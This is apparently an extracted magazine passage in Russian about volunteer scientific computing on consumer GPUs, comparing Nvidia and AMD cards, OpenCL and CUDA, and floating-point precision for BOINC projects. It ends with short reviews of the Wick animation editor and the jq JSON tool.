и  для  CUDA‐опти мизи рован ных  при ложе ний.  В  отдель ных  слу чаях  ста рые
AMD выиг рыва ют на опе раци ях двой ной точ ности ценой боль ших энер гозат‐ 
рат при решении обыч ных задач.

По срав нению с GTX 980Ti  виде окар та  на базе GTX 1070 демонс три рует
неболь шой при рост ско рос ти вычис лений — на 2,4%. Одна ко этот выиг рыш
наб люда ется  при  сущес твен ном  сни жении  пот ребля емой  мощ ности  —
на 25% или на 50 Вт. Апгрейд сто ит затевать уже ради это го.

Сред няя ско рость рас четов заданий GPUGrid Long run для GTX 980Ti

Сред няя ско рость рас четов заданий GPUGrid Long run для GTX 1070

Наш  тес товый  стенд  остался  преж ним,  но  до  GTX  1070  мы  успе ли  про тес‐ 
тировать  в  науч ных  рас четах  мно жес тво  дру гих  виде окарт  и  про цес соров.
В этой статье упо мина ются толь ко самые показа тель ные резуль таты.

Наш стенд пережил май нинг, брут форс паролей и про дол жает занимать ‐
ся науч ными рас четами

По срав нению с флаг манами прош лых лет  (GTX 680 и мак сималь но близ кой
к  ней GTX  770)  у  новой GTX  1070  ско рость  вычис лений  вырос ла  более  чем
в четыре раза. Это вид но даже на ста рых OpenCL‐при ложе ниях, не име ющих
опти миза ции  для  сов ремен ных  ГП  Nvidia.  Нап ример,  в  про екте
Einstein@Home на GTX 680 одно задание выпол няет ся в сред нем за 50 мин,
а на GTX 1070 — за 11,5 мин.

Ито говое вре мя для GTX 680

Об работ ка диапа зона дан ных в поис ках двой ных ради опуль саров на GTX
1070

Ана логич ное задание на GTX 1070 выпол няет ся в 4,3 раза быс трее

Па рал лель но  виде окар та  исполь зовалась  для  тес тов  при  написа нии  ста тей
про   и  . Тем не менее за два месяца сме шан ного
тес тирова ния GTX 1070 мы выпол нили боль ший объ ем науч ных рас четов, чем
до это го поч ти за пять лет на 20+ про цес сорах и паре эпи зоди чес ки работа‐ 
ющих ста рых виде окарт. Раз ница прос то колос саль ная.

май нинг брут форс паролей

Дли тель ный пери од (до кон ца 2014 года) вычис ления выпол нялись толь ко
на  про цес сорах  нес коль ких  компь юте ров.  Ско рость  при рос та  была  нич‐ 
тожной.  Затем  еще  два  года  мы  заг ружали  рас четами  ста рые  виде окар ты.
Они всег да силь но гре лись и шумели, а изоб ражение лагало. С этим труд но
мирить ся во вре мя работы, поэто му рас четы выпол нялись эпи зоди чес ки.

В  кон це  прош лого  года  друзья  подари ли  мне  GTX  680  спе циаль но
для  уско рения  рас четов.  К  тому  момен ту  эта  кар та  уже  пло хо  под ходила
для  игр,  но  впол не  справ лялась  с  науч ными  вычис лени ями. Дав но  хотелось
поп робовать  уско ритель  с  архи тек турой Kepler,  да  еще и  содер жащий 1536
CUDA‐ядер!

Ди нами ка науч ных рас четов на про цес сорах и виде окар тах

Из‐за мощ ного трех сло тово го охлажде ния работа ла GTX 680 доволь но тихо,
но воз дух наг ревала при лич но — все‐таки двес ти ватт. Зимой это было очень
кста ти,  но  вот  в  жару…  Пос читав  за  три  месяца  сот ни  раз ных  заданий
с  ГП‐опти миза цией,  я  заметил,  что  в  одних  про ектах  заг рузка  виде окар ты
задани ями BOINC поч ти  не  чувс тву ется,  а  в  дру гих — дела ет  любую работу
край не  неком фор тной.  Даже  при  наборе  тек ста  иной  раз  отме чались  лаги.
Поэто му я соб рал комп с Core  i7 и под клю чил монитор к его интегри рован‐ 
ному виде ояд ру, а GTX 680 исполь зовал толь ко для рас четов. В таком вари‐ 
анте ее мож но было исполь зовать круг лосуточ но, и резуль татив ность вычис‐ 
лений вырос ла вдвое.

Пос ле GTX 680 нас тал черед тес тировать GTX 980Ti, а затем и GTX 1070.
У  двух  пос ледних  виде окарт  с  под клю чен ным  монито ром  совер шенно
не было лагов изоб ражения при мак сималь ной заг рузке рас четами. Во вся‐ 
ком слу чае, они не замеча лись при работе с тек ста ми, веб‐сер финге, обра‐ 
бот ке кар тинок и прос мотре филь мов. Одна ко для чис тоты экспе римен та мы
все‐таки под клю чали их без монито ра. Пер вый кру той пик на  гра фике соот‐ 
ветс тву ет под клю чению GTX 980Ti, а сле дующий за ним — зас луга GTX 1070.

Объ емы  вычис лений  в  BOINC  отоб ража ются  в  очках  (cobblestones).
Десять очков — это 4,32 трил лиона опе раций с пла вающей запятой оди нар‐ 
ной точ ности (FP32). Пер вый мил лион очков мы набира ли два года, исполь зуя
до двад цати четырех про цес сорных ядер одновре мен но. Сей час с одной GTX
1070  мы  при бав ляем  более  мил лиона  очков  каж дый  день.  Час тота  вып лат
в сети   так же воз росла. Если рань ше монет ки начис лялись один‐два
раза в месяц, то сей час — прак тичес ки ежед невно.

Gridcoin

Ежед невное воз награж дение за науч ные рас четы

Фор мула  тут  прос тая:  мень ше  энер гозат рат,  боль ше  ком пенса ция  и  выше
резуль татив ность.

Од нако  есть  тут  и  малень кая  хит рость:  некото рые  про екты  вып лачива ют
допол нитель ные очки как воз награж дение за ско рость выпол нения заданий.
К  при меру,  в  GPUGrid  есть  три  сте пени  све жес ти  решений:  получен ные
в  течение  пер вых  суток,  двух  и  пяти  дней  с  момен та  отправ ки  заданий.
За  пер вые  начис ляют  50%  очков,  за  вто рые  25%,  а  за  выпол ненные
в интерва ле от 48 до 120  ч  ничего не добав ляют сверх. Рас четы недель ной
дав ности ста новят ся неак туаль ными и не учи тыва ются вов се.

GTX 680 тре бова лось боль ше суток на одно задание

Боль шие  CUDA‐опти мизи рован ные  задания  GPUGrid  обра баты вают ся
на  топовых виде окар тах  за 8–12 ч. GTX 680 на них  тре бова лось око ло 30 ч.
Новая  GTX  1070  час то  справ лялась  за  шесть  часов  и  успе вала  обра ботать
за  сут ки  до  четырех  слож ней ших  заданий  из  области  рас чета  тре тич ной
струк туры бел ковых молекул и докин га лиган дов.

GTX 1070 тра тит мень ше шес ти часов на задания, с которы ми GTX
680 не справ лялась и за сут ки

ВИДЕОКАРТЫ КАК УСКОРИТЕЛИ
По чему вооб ще счи тают на виде окар тах? Любой про цес сор архи тек туры x86‐
64 соз давал ся как  уни вер саль ный чип. Он уме ет выпол нять матема тичес кие
опе рации раз ных  типов и раз ряднос ти, но пла той за все ядность ста новит ся
низ кая ско рость. В пов седнев ной работе этот эффект не слиш ком заметен,
пос коль ку в поль зователь ских при ложе ниях пре обла дают прос тей шие ариф‐ 
метичес кие опе рации. В науч ных же рас четах льви ную долю сос тавля ют дей‐ 
ствия  с мас сивами  и  приб лизитель ными  величи нами. Цен траль ный  про цес‐ 
сор обра баты вает их очень мед ленно, поэто му в про фес сиональ ных рабочих
стан циях  и  супер компь юте рах  для  них  исполь зуют ся  спе циали зиро ван ные
пла ты — век торные уско рите ли.

На учные  рас четы  дли тель но  соз дают  высокую
наг рузку на про цес сор и виде окар ту. Преж де чем
запус кать их, позаботь ся о качес твен ном питании
и  охлажде нии.  Задать  тем ператур ные  огра ниче‐ 
ния тоже будет нелиш ним.

Ус корите ли для высокоп роиз водитель ных вычис лений (HPC) час то пос тро ены
на тех же чипах, что и топовые виде окар ты, но име ют свои архи тек турные осо‐ 
бен ности.  Отдель ные  инже нер ные  решения  приз ваны  повысить  объ ем
одновре мен но обра баты ваемых дан ных и надеж ность круг лосуточ ной работы
с мак сималь ной наг рузкой. Сами по себе они нез начитель но удо рожа ют про‐ 
изводс тво,  одна ко  себес тоимость  уско рите ля  опре деля ется  еще  и  малым
объ емом выпус ка.

В целом есть два прин ципи аль но раз ных под хода к обра бот ке науч ных дан‐ 
ных:  исполь зовать  высоко надеж ные  спе циали зиро ван ные  HPC‐сис темы
с  про фес сиональ ными  уско рите лями  либо  соз давать  сеть  рас пре делен ных
вычис лений из непос тоян ных узлов с про цес сорами и виде окар тами раз ной
архи тек туры. Пер вый под ход обы чен в прик ладных сфе рах,  тес но свя зан ных
с  ком мерчес кими  раз работ ками  и  не  испы тыва ющих  недос татка  в  финан‐ 
сирова нии.  Вто рой  популя рен  у  тех,  кто  выпол няет  неком мерчес кие  и  фун‐ 
дамен таль ные  иссле дова ния.  Их  цен ность  слож но  объ яснить  спон сорам,
поэто му оста ется толь ко прив лекать волон теров. Надеж ность обра бот ки дан‐ 
ных в такой гетеро ген ной сети обес печива ется за счет избы точ ности.

За пос ледние десять лет обыч ные виде окар ты научи лись выпол нять мик‐ 
ропрог раммы  обще го  наз начения.  Они  могут  быс тро  обра ботать  одно мер‐ 
ные  мас сивы  и  выпол нить  серию  рас четов  с  пла вающей  запятой,  если  ЦП
спер ва сфор мулиру ет эту часть задания в понят ном для ГП фор мате.

На чиная с 2006 года вмес то отдель ных шей дер ных про цес соров трех раз ных
типов, вычис лявших дви жения час тиц и про чие гра фичес кие эффекты, у виде‐ 
окарт  появи лись  уни вер саль ные  потоко вые  про цес соры.  Это  зна читель но
упрости ло  задачу  опи сания  ресур соем ких  вычис лений  на  понят ном  для  ГП
язы ке.  Тог да  воз никла  кон цепция  GPGPU  (General‐purpose  computing  for
graphics processing units) — исполь зование ГП для уско рения нег рафичес ких
вычис лений.

Ес ли  очень  упростить  срав нение  ЦП  и  ГП,  то  клю чевое  отли чие  мож но
сфор мулиро вать  так:  цен траль ный  про цес сор  обра баты вает  чис ла  пос‐ 
ледова тель но,  а  ГП —  парал лель но.  Ког да  надо  сло жить  одну  сот ню  чисел
с  дру гой,  ЦП  выпол нит  сто  пос ледова тель ных  опе раций  сло жения.  ГП
запишет их как два одно мер ных мас сива (век тора) и сло жит все за одну опе‐ 
рацию.  В  сов ремен ных  про цес сорах  уже  есть  отдель ные  инс трук ции
для  уско рения  век торных  опе раций,  но  по  ско рос ти  работы  они  все  рав но
серь езно усту пают ГП.

При  исполь зовании  виде окар ты  ско рость  отдель ных  вычис лений  воз‐ 
раста ет в десят ки раз. Прос то потому, что у ГП куча исполни тель ных бло ков,
спо соб ных работать одновре мен но. Это не  четыре ядра  у Core  i5 и не две‐ 
над цать  ядер  у  Xeon.  Речь  о  тысячах  уни вер саль ных  про цес соров  с  час‐ 
тотой 1–2 ГГц и собс твен ной памятью с огромной про пус кной спо соб ностью.
О целом клас тере в фор мате пла ты рас ширения.
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КАКИЕ ЧИПЫ AMD И NVIDIA ЛУЧШЕ
ДЛЯ РАСЧЕТОВНА ВИДЕОКАРТЕ

PCZONE  НАЧАЛО СТАТЬИ←

AMD VS NVIDIA + INTEL
Ис поль зование  виде окарт  для  нег рафичес ких  вычис лений  тре бует  опре‐ 
делять  их  в  сис теме  как  соп роцес соры  и  исполь зовать  через  соот ветс тву‐ 
ющие  API  средс тва ми  драй вера.  Это  интерфей сы  прик ладно го  прог рамми‐ 
рова ния OpenCL, CUDA и DirectCompute. По сути — три вари анта написа ния
кода для прог рамм с под дер жкой GPGPU.

Все эти годы кон цепция GPGPU активно раз вивалась в основном за счет
откры того API OpenCL и проп риетар ной тех нологии Nvidia CUDA. За ред ким
исклю чени ем все драй веры для гра фичес ких решений AMD, Nvidia и Intel под‐ 
держи вают OpenCL, но час то уро вень этой под дер жки оставля ет желать луч‐ 
шего.  Нап ример,  заяв ление  о  под дер жке  OpenCL  2.0  на  деле  может  озна‐ 
чать, что в текущем драй вере и кон крет ном ГП под держи вают ся лишь некото‐ 
рые воз можнос ти вер сии 2.0.

При мер  низ кого  уров ня  опти миза ции  —  про ект  .  Его
задания  с  под дер жкой OpenCL  час то  при водят  к  зависа ниям  у  новых  виде‐ 
окарт и прак тичес ки не дают выиг рыша в ско рос ти.

Asteroids@Home

За вис шее при ложе ние OpenCL

OpenCL в целом раз вива ется очень неп ред ска зуемо,  как и любой откры тый
стан дарт  с  мас сой  учас тни ков  и  про тиво речи выми  инте реса ми.  Одна ко
откры тый код поз воля ет исполь зовать его кому угод но и с аппа рат ной плат‐ 
формой раз ных про изво дите лей.

Тех нология  CUDA  под держи вает ся  толь ко  самой  Nvidia,  но  на  очень
высоком  уров не.  Все  фун кции  в  ней  стан дарти зиро ваны  в  рам ках  набора
CUDA  Compute  Capability.  Всег да  точ но  извес тно,  какие  ГП  под держи вают
выб ранную вер сию CUDA CC, да и све жие вер сии выходят регуляр но.

Ес ли  сер тифици рован ный  драй вер  под держи вает  CUDA  СС  ука зан ной
вер сии, то все заяв ленные фун кции в нем будут реали зова ны. По CUDA пол но
качес твен ной  литера туры,  есть  удоб ные SDK,  прог раммы обу чения  и  целые
обра зова тель ные  пор талы.  Это  плат формо зави симое,  но  более  тща тель но
про думан ное и пред ска зуемое в исполь зовании решение.

Ве роят но, поэто му на рын ке HPC сей час без раздель но домини рует Nvidia.
В июнь ском спис ке   уже 74 супер компь юте ра исполь зуют уско рите ли
Nvidia и толь ко один (Adtech ESC 4000) — уско рите ли AMD.

TOP 500

При этом OpenCL час то ока зыва ется пред почти тель нее для волон тер ских
про ектов рас пре делен ных вычис лений, пос коль ку они работа ют в гетеро ген‐ 
ной  сре де,  а  чис ло  учас тни ков  важ нее  качес тва  кода.  У  иссле дова тель ских
кол лекти вов  нет  средств,  что бы  опла чивать  труд  про фес сиональ ных  прог‐ 
раммис тов и экспер тов в области HPC. У любите лей же обыч но недос таточ но
ква лифи кации,  что бы  написать  чис тый  и  эффектив ный  код,  учи тыва ющий
архи тек турные осо бен ности раз ных ГП.

Ис поль зование  API  OpenCL  поз воля ет  прив лечь  к  про екту  вла дель цев
компь юте ров  с  виде окар тами  раз ных  поколе ний  на  чипах  как  AMD,  так
и  Nvidia.  Цена  такой  мас совос ти  —  низ кая  сте пень  опти миза ции  кода
и  потеря  ско рос ти  вычис лений  на  каж дом  узле.  Осо бен но  замет на  она
на Nvidia GPU, боль ше опти мизи рован ных для фир менной тех нологии CUDA.

По это му  сре ди  кран черов  есть  стой кое  заб лужде ние,  что  виде окар ты
с AMD GPU быс трее в рас четах. Нет, не быс трее. Прос то в задани ях с опти‐ 
миза цией для OpenCL они игра ют на сво ем поле. Nvidia GPU луч ше рас кры‐ 
вают себя в про ектах с опти миза цией для CUDA, в которых пок лонни ки AMD
вооб ще не могут при нять учас тие.

В  пос леднее  вре мя  Intel  тоже  раз вива ется  в  сто рону  GPGPU.  Начиная
с архи тек туры  Ivy Bridge, интегри рован ное в ЦП виде ояд ро  Intel HD Graphics
2500 и новее под держи вает API OpenCL. В 2013 году Intel пред ста вила свой
пер вый спе циали зиро ван ный уско ритель для сег мента HPC — Xeon Phi. Сей‐ 
час это целая серия про фес сиональ ных уско рите лей, на сме ну которой гря‐ 
дет новый Intel Lake Crest.

Как и сов ремен ные виде окар ты, Xeon Phi и Lake Crest могут работать толь‐ 
ко  в  качес тве  соп роцес сора,  уско ряя  отдель ные  (век торные)  опе рации.
Одна ко в отли чие от ГП они име ют свою Linux‐подоб ную мик роОС. Сущес тву‐ 
ет обра зова тель ная ини циати ва  , в рам ках которой воз‐ 
можнос ти Xeon Phi пред лага ется изу чать на прак тике уда лен но.

Colfax’s remote access

ПЛАВАЮЩИЕ ЗАПЯТЫЕ
В науч ных рас четах мно жес тво опе раций про изво дит ся с приб лизитель ными
величи нами.  Нап ример,  с  ирра циональ ными  чис лами  (пи,  экспо нен та),  точ‐ 
ность которых мож но ука зать толь ко до опре делен ного зна ка пос ле запятой.
Эта точ ность зависит от того, сколь ко битов кодиру ет чис ло. В зависи мос ти
от это го выделя ют рас четы оди нар ной точ ности (32 бита, float point 32, FP32),
двой ной точ ности (FP64) и половин ной точ ности (FP16).

Как  в  про цес соре,  так  и  в  гра фичес ком  чипе  выпол няет  эти  рас четы
модуль  FPU  (floating  point  unit),  в  котором  могут  быть  отдель ные  бло ки
для  более  быс трой  обра бот ки  вычис лений  опре делен ного  типа.  Обыч но
основной блок FPU дела ют раз рядностью FP32, а допол нитель ные домены —
FP16  и  FP64.  Это  уско ряет  отдель ные  опе рации,  но  сни жает  усреднен ную
про изво дитель ность.

Луч ше  все го  сов ремен ные  виде окар ты  выпол няют  вычис ления  с  пла‐ 
вающей  запятой  оди нар ной  точ ности  (FP32).  Они  соот ветс тву ют  основной
мас се прак тичес ких задач и счи тают ся с GPU‐уско рени ем в разы быс трее (и
гораз до энер гоэф фектив нее), чем на самом мощ ном про цес соре.

Вы сокая  точ ность  вычис лений  тре бует ся  не  всег да.  У  новых  виде окарт
хорошо обсто ят дела с вычис лени ями половин ной точ ности — FP16. Они вос‐ 
тре бова ны  в  работе  ней росетей  и  алго рит мах  глу боко го  машин ного  обу‐ 
чения.

Слож нее все го виде окар там дают ся вычис ления FP64. В играх они поч ти
не нуж ны,  в  вир туаль ной реаль нос ти вос тре бова ны мало, а  вот  в отдель ных
науч ных про ектах без них никуда. Поэто му под ходы у AMD и Nvidia здесь раз‐ 
делились. Более  того,  они  изме нились  со  вре менем,  а мно гие  про дол жают
руководс тво вать ся уста рев шими кри тери ями выбора.

ПОДХОД AMD
С  момен та  появ ления  архи тек туры  VLIW,  а  поз же  —  GCN  AMD  выпус кала
топовые виде окар ты с хорошей под дер жкой FP64, но пол ностью уби рала ее
в  кар точках  бюд жетно го  и  даже  сред него  уров ня.  Нап ример,  в  то  вре мя
у меня была Radeon HD 6850, которая не име ла под дер жки FP64 и не мог ла
учас тво вать  в  про екте  MilkyWay@Home,  где  тре бова лась  двой ная  точ ность.
Сей час  Radeon  R9  270X  обра баты вает  одно  задание  про екта  в  сред нем
за 407 с, а GTX 1070 — за 167 с.

Ме нее трех минут на решение задач галак тичес ких мас шта бов

Быс трее с ними справ ляют ся чипы AMD Tahiti  (как в Radeon R9 280X), опти‐ 
мизи рован ные для вычис лений двой ной точ ности. У них ско рость обра бот ки
опе раций FP64 сос тавля ет 1/4 ско рос ти FP32. Одна ко их не назовешь энер‐ 
гоэф фектив ными в дру гих типах рас четов. Все‐таки это 28 нм, 250 Вт и мно‐ 
жес тво ком про мис сов.

У  нового  флаг мана  AMD  Radeon  RX  580  про изво дитель ность  FP64  сос‐ 
тавля ет уже 1/16 от FP32.

Очень час то новый чип AMD ока зыва ется слег ка модифи циро ван ным (или
прос то  перемар кирован ным)  ста рым,  а  ГП  раз ных  поколе ний  отно сят ся
к одной архи тек туре. Нап ример, Radeon HD 7790, R9 290, R9 390 — это все
пред ста вите ли семей ства Sea Islands с архи тек турой GCN вто рой вер сии.

С дру гой сто роны, в одной линей ке может быть сме шение раз ных архи тек‐ 
тур. Для при мера рас смот рим серию Radeon Rx 400:

GCN 4.0: Radeon RX 460 (Polaris 11, Baffin)

GCN 3.0 Radeon RX 470 (Polaris 10, Ellesmere)

GCN 2.0 Radeon R7 435 (Oland) Sea Islands

GCN 1.1 Radeon R7 455 (Bonaire), Southern Islands

GCN 1.0 Radeon R7 450 (Cape Verde), Southern Islands

Ну а серия Radeon RX 5xx — это кос метичес кое улуч шение пре дыду щей.

ПОДХОД NVIDIA
Nvidia обес печива ет натив ную под дер жку FP64 поч ти во всех кар точках, кро‐ 
ме самых бюд жетных,  но реаль но  кру тая она  толь ко в некото рых флаг манах
и спе циали зиро ван ных решени ях вро де Titan, Quadro и Tesla.

Ти пич ное  соот ношение  FP64/FP32  у  игро вых  виде окарт  AMD  сос тавля‐ 
ет 1:8 — 1:16. У  кар точек Nvidia — 1:16 — 1:32  (то есть  такое же или  хуже).
Одна ко у про фес сиональ ных уско рите лей Nvidia это соот ношение сос тавля‐ 
ет 1:2 — 1:4. Луч ше, чем 1:2, оно не может быть даже теоре тичес ки (хотя бы
потому, что FP64 вдвое длин нее FP32).

Тот  же  уско ритель  Titan мож но  прог рам мно  перек лючать меж ду  режима‐ 
ми 1:24 и 1:3. Некото рые об этом не зна ют и пишут, что «флаг маны AMD уде‐ 
лыва ют Титан». Нет, это прос то очень раз ные ГП, с которы ми надо научить ся
работать эффектив но.

ПРОЦЕССОРОЗАВИСИМОСТЬ
Эф фект  зависи мос ти  про изво дитель нос ти  виде окар ты  от  про цес сора
хорошо известен гей мерам. Час то говорят, что опре делен ный про цес сор «не
рас кро ет» воз можнос ти виде окар ты в играх. С науч ными вычис лени ями дело
обсто ит подоб ным обра зом, но есть своя спе цифи ка.

В  час тнос ти,  боль шой  объ ем  виде опа мяти  в  ака деми чес ких  иссле дова‐ 
ниях  не  тре бует ся.  Я  при нимал  учас тие  в  13  про ектах  BOINC,  в  каж дом
из которых были задания раз ных типов. Ни одно из них не заг ружало виде опа‐ 
мяти боль ше, чем на пол тора гигабай та. У GTX 1070 iChill X4 восемь гигабайт
VRAM, но BOINC у любой виде окар ты исполь зует не более четырех гигов. Ему
прос то  не  надо  боль ше.  Поэто му  даже  при  близ кой  к  100%  заг рузке  науч‐ 
ными рас четами сов ремен ные виде окар ты успе вают без задер жек выпол нять
прос тые поль зователь ские задачи.

В реаль ных рас четах всег да пре обла дает  какой‐то один тип вычис лений.
Поэто му доля опе раций, выпол няемых на ГП, может силь но отли чать ся. Если
боль шая  часть  кода  лег ко  рас парал лелива ется,  то  она  выпол няет ся  на  ГП,
а его заг рузка всег да близ ка к ста про цен там. Тог да про цес сор сла бо вли яет
на общий резуль тат.

Ес ли алго ритм допус кает огра ничен ную парал лель ную обра бот ку, то виде‐ 
окар та  будет  ждать,  пока  ЦП  сде лает  свою  часть  работы  и  сфор миру ет
для нее новую серию заданий. В каж дый момент вре мени часть исполни тель‐ 
ных бло ков ГП будет прос таивать, и  уро вень заг рузки виде окар ты сни зит ся.
Со сла бым про цес сором он всег да будет далеким от 100%.

Из‐за  лет ней  жары  мы  вруч ную  уста нови ли  через  Inno 3D  TuneIT  тем‐ 
ператур ный  пре дел  ГП  на  70  °С  вмес то  задан ных  по  умол чанию  83  °С.
Как показа ла прак тика, это минималь но ска залось на ско рос ти рас четов. Все
рав но виде окар ту боль ше тор мозил про цес сор Core i7‐4770K.

При нуди тель ное огра ниче ние тем перату ры на GTX 1070

В Nvidia тес тирова ли свои уско рите ли в паре с Core i7‐5960X Extreme Edition.
Все  сов ремен ные Kaby  Lake  силь но  усту пают  ему,  но  даже  ско рос ти  5960X
не хва тило, что бы спол на рас крыть мощь «Титанов», «Тес лы» и топовых «Джи‐ 
фор сов».  Проб лема  в  том,  что  общее  чис ло  ядер  ЦП  игра ет  роль  толь ко
в кон фигура циях с нес коль кими виде окар тами, а для одной нуж на мак сималь‐ 
ная про изво дитель ность одно го ядра.

Про изво дитель ность про цес соров в рас чете на одно ядро час то отли чает‐ 
ся мень ше, чем их цена. Меж ду Core i5‐6600 и Intel Core i7‐6700 эта раз ница
сос тавля ет 3,6% по тес там Intel Linpack x64, в которых выпол няет ся решение
сис темы из 10 тысяч урав нений.

Про цес сор  Core  i5‐6600  показы вает  прак тичес ки  такой  же  резуль тат
(52,75 Гфлоп/с),  как и более дорогие  Intel  Xeon E3‐1245 V5  (52,59 Гфлоп/с)
и Core  i7‐6700 (53,96 Гфлоп/с). В новых семей ствах Kaby Lake и Coffee Lake
ситу ация пол ностью ана логич ная.

По это му  для  науч ных  вычис лений  нет  смыс ла  переп лачивать  за  мно‐ 
гоядер ность про цес сора. Раз ве что ты одновре мен но с GPU‐опти мизи рован‐ 
ными  задани ями  будешь  активно  выпол нять  и  чис то  про цес сорные,
не исполь зующие виде окар ту. Одна ко про екты с под дер жкой OpenCL и CUDA
в целом гораз до резуль татив нее.

Так же  Nvidia  отме чает,  что  при  исполь зовании  уско рите лей  на  сер верах
с  двух сокет ными  материн ками  про изво дитель ность  получа ется  ниже,  чем
с более дешевы ми одно сокет ными.

Уве личе ние чис ла про цес соров сни жает про изво дитель ность в GPU‐
опти мизи рован ных рас четах

ЭНЕРГИЧНЫЕ ВЫЧИСЛЕНИЯ
Мне  всег да было  инте рес но  узнать,  какая  кон фигура ция будет  самой  энер‐ 
гоэф фектив ной для науч ных рас четов. В текущем рей тин ге   луч шие
показа тели  демонс три руют  япон ские  клас теры  с  уско рите лями  Nvidia  P100
Tesla.  В  них  исполь зует ся  один  из  самых  высоко тех нологич ных  чипов
в мире — GP100 архи тек туры Pascal, содер жащий более 15 мил лиар дов тран‐ 
зисто ров и 3584 CUDA‐ядра.

Green 500

Пол ный ана лог «Тес лы» для рабочих стан ций — про фес сиональ ная виде‐ 
окар та Quadro GP100. Она обес печива ет  про изво дитель ность 10,6  Тфлоп/с
FP32. Понят но, что дома ни «Тес лу», ни «Квад ро» не пос тавишь. Из мас совых
решений  бли жай шие  ана логи  этих  про фес сиональ ных  уско рите лей — игро‐ 
вые виде окар ты GTX 1080Ti, 1080 и 1070. Пер вая выпус кает ся на чипе GP102,
а две дру гие — на GP104.

Ин терес к GTX 1070 обус ловлен тем, что она совер шенно не тре бова тель‐ 
на  к  бло ку  питания  и  габари там  кор пуса,  обла дая  все ми  тех нологи чес кими
пре иму щес тва ми  флаг ман ских  решений.  Это  прос то  про пор циональ ное
умень шение чис ла CUDA‐ядер без  уре зания шины памяти и дру гих  ком про‐ 
мис сов. Как вид но из блок‐схе мы, GTX 1080 и GTX 1070 пос тро ены на одном
чипе GP104. Прос то у GTX 1070 на один клас тер GPG мень ше.

Схе ма чипа GP104 — обще го для GTX 1080 и GTX 1070

По чему же  тог да решения на базе GP100 сто ят  поч ти  пол милли она руб лей,
в то вре мя как кар ты на GP102 и GP104 в разы дешев ле при невысо кой раз‐ 
нице в про изво дитель нос ти FP32?

Это  пла та  за  уни вер саль ное  решение  и  отгра ниче ние  HPC‐сег мента
от  мас сового.  CUDA‐ядра  в  GP100  перек люча ются  меж ду  раз ными  типами
вычис лений  без  потерь  в  ско рос ти. Они могут  выпол нять  за  один  такт  одну
инс трук цию  FP64,  либо  две  FP32,  либо  четыре  FP16.  Таким  обра зом,  про‐ 
изво дитель ность FP16 рав на двук ратной от FP32, или 21,2 Тфлоп/с. С двой‐ 
ной  точ ностью  все  прос то  велико леп но:  соот ношение  FP64/FP32  сос тавля‐ 
ет 1:2 — это луч ший показа тель в отрасли, и побить этот рекорд невоз можно
даже теоре тичес ки.

У  игро вых  виде окарт  натив ная  ско рость  вычис лений  сох раня ется  толь ко
для  инс трук ций  FP32.  При  перек лючении  на  половин ную  точ ность  (FP16)  их
ско рость не воз раста ет вдвое, как у GP100, а пада ет в 64 раза. Даже исполь‐ 
зование двой ной точ ности сни зит ско рость обра бот ки не так силь но — «все‐ 
го» в 32 раза.

Это  кри тич но для обу чения ней рон ных  сетей,  сис тем рас позна вания  лиц
и кван товой химии, но прак тичес ки не зат рагива ет основную мас су рас четов
ака деми чес кого  харак тера.  Из  полуто ра  сотен  про ектов  BOINC  мне  встре‐ 
тилось толь ко два, тре бующих под дер жки FP64.

Ос новные сфе ры при мене ния рас четов FP32 и FP64

Ос новная мас са GPU‐опти мизи рован ных заданий исполь зуют толь ко вычис‐ 
ления FP32, поэто му счи тать их на про фес сиональ ных кар тах не име ет смыс‐ 
ла.  Выгод нее  задей ство вать  поболь ше  игро вых  виде окарт  и  обес печить
надеж ность с помощью избы точ ности.

За  счет  эффектив ного  авто мати чес кого  раз гона  GTX  1070  дос тига ет
пиковой теоре тичес кой про изво дитель нос ти свы ше 7,5 Тфлоп/с в опе раци ях
FP32. Виде окар ты на этом чипе получа ются дос тупным решени ем для науч‐ 
ных  рас четов  с  OpenCL  и  CUDA‐опти миза цией,  где  тре бует ся  стан дар тная
точ ность вычис лений.
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WICK — СОВРЕМЕННАЯ ЗАМЕНА РЕДАКТОРУ FLASH НА
HTML5 И ДЛЯ HTML51
Flash стре митель но ухо дит в прош лое, а заменить его дол жны новые
веб‐стан дарты. Что до самого редак тора, то ему нас тоящей замены
пока  что нет. Раз работ чик инс тру мен та под наз вани ем   решил
собс твен норуч но  испра вить  эту  ситу ацию  и  соз дал  неч то,  очень
напоми нающее  Flash,  но  в  духе  нашего  вре мени.  Wick  бес пла тен
и работа ет в бра узе ре, а на выходе он соз дает HTML и JavaScript.

Wick

На  пер вый  взгляд  Wick  дей стви тель но  похож  на  Flash:  тай млайн,
слои,  инс тру мен ты  век торно го  редак тирова ния.  Мож но  соз давать
motion  tweens  (ани мация  объ ектов  по  клю чевым  кад рам)  и  добав‐ 
лять скрип ты на JavaScript.

Но любому, кто хотя бы повер хностно был зна ком с Flash, понят‐ 
но, что Wick — это пока что далеко не то же самое. Как век торный
редак тор  он  откро вен но  слаб,  а  попыт ки  работать  с  ани маци ей
натал кива ются на мас су огра ниче ний, баги и кон довый интерфейс.

Ха рак терно, что сре ди при меров, соз данных самим авто ром, нет
ни одно го, который бы выг лядел ров но и акку рат но. Что‐либо выров‐ 
нять в Wick мож но, раз ве что вби вая коор динаты объ ектов вруч ную.

Тем не менее  здесь  уже мож но  писать  прос тень кие  игры и  дру гие
инте рак тивные  шту ки.  Осо бен но  если  делать  это  для  души  и  для
раз вле чения, а не на заказ.

Wick написан на Python, и   откры ты и опуб ликова ны
на GitHub по лицен зии GPL v3. Так что есть некото рая надеж да на то,
что  силами  сооб щес тва  это  занят ное  начина ние  ког да‐нибудь
доведут до ума.

его исходни ки

JQ — ПРОЦЕССОР JSON, КОТОРЫЙ ПОЗВОЛЯЕТ ОДНОЙ
СТРОКОЙ ФИЛЬТРОВАТЬ И ТРАНСФОРМИРОВАТЬ
ДАННЫЕ2
Каж дый,  кто работал с JSON, зна ет, нас коль ко этот фор мат про ще
и удоб нее, чем XML, но при этом гиб че, чем, нап ример, CSV. Ути лита
под наз вани ем   — отличный инс тру мент, который выводит работу
JSON  на  прин ципи аль но  новый  уро вень:  с  ней,  что бы  переб рать
мас сив дан ных, не нуж но писать никаких скрип тов — хва тит зап роса
наподо бие SQL.

jq

Для  уста нов ки  jq  дос таточ но   — есть
вер сии  для  Windows,  macOS  и  Linux.  Подоб но  grep,  sed,  awk
и  похожим  ути литам  из  арсе нала юник соида,  jq  прос то  при нима ет
дан ные  на  вход  и  выводит  резуль таты  в  stdout.  К  при меру,  что бы
про читать и вывес ти дан ные из фай ла    в UNIX‐подоб ных
сис темах, надо написать

ска чать  исполня емый файл

data.json

cat data.json | jq '.'

